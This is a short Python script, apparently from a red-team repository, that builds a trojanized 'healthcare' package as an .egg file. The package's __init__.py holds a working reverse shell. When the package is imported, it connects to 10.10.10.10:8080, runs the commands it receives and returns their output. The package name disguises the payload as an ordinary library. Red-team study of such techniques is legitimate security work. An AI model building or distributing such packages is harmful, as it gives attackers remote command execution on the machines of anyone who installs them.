File size: 1,155 Bytes
c551a29 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
import os
import shutil
from setuptools import setup, find_packages
# 1) Create package directory
os.makedirs("healthcare/healthcare", exist_ok=True)
# 2) Write reverse shell payload into __init__.py
payload = """
import socket
import subprocess
ip = \"10.10.10.10\"
p = 8080
s = socket.socket()
s.connect((ip, p))
while True:
c = s.recv(1024).decode()
o = subprocess.getoutput(c)
s.sendall(o.encode())
"""
with open("healthcare/healthcare/__init__.py", "w") as f:
f.write(payload)
# 3) Create setup.py
setup_py = """
from setuptools import setup, find_packages
setup(
name='healthcare',
version='0.1',
packages=find_packages(),
author='AI Red Team',
description='Obfuscated reverse shell package',
)
"""
with open("healthcare/setup.py", "w") as f:
f.write(setup_py)
# 4) Build the .egg file
os.system("cd healthcare && python setup.py bdist_egg")
# 5) Move the .egg to the root
dist_dir = "healthcare/dist"
for filename in os.listdir(dist_dir):
if filename.endswith(".egg"):
shutil.move(os.path.join(dist_dir, filename), filename)
print("✅ .egg file created and moved to current directory.")
|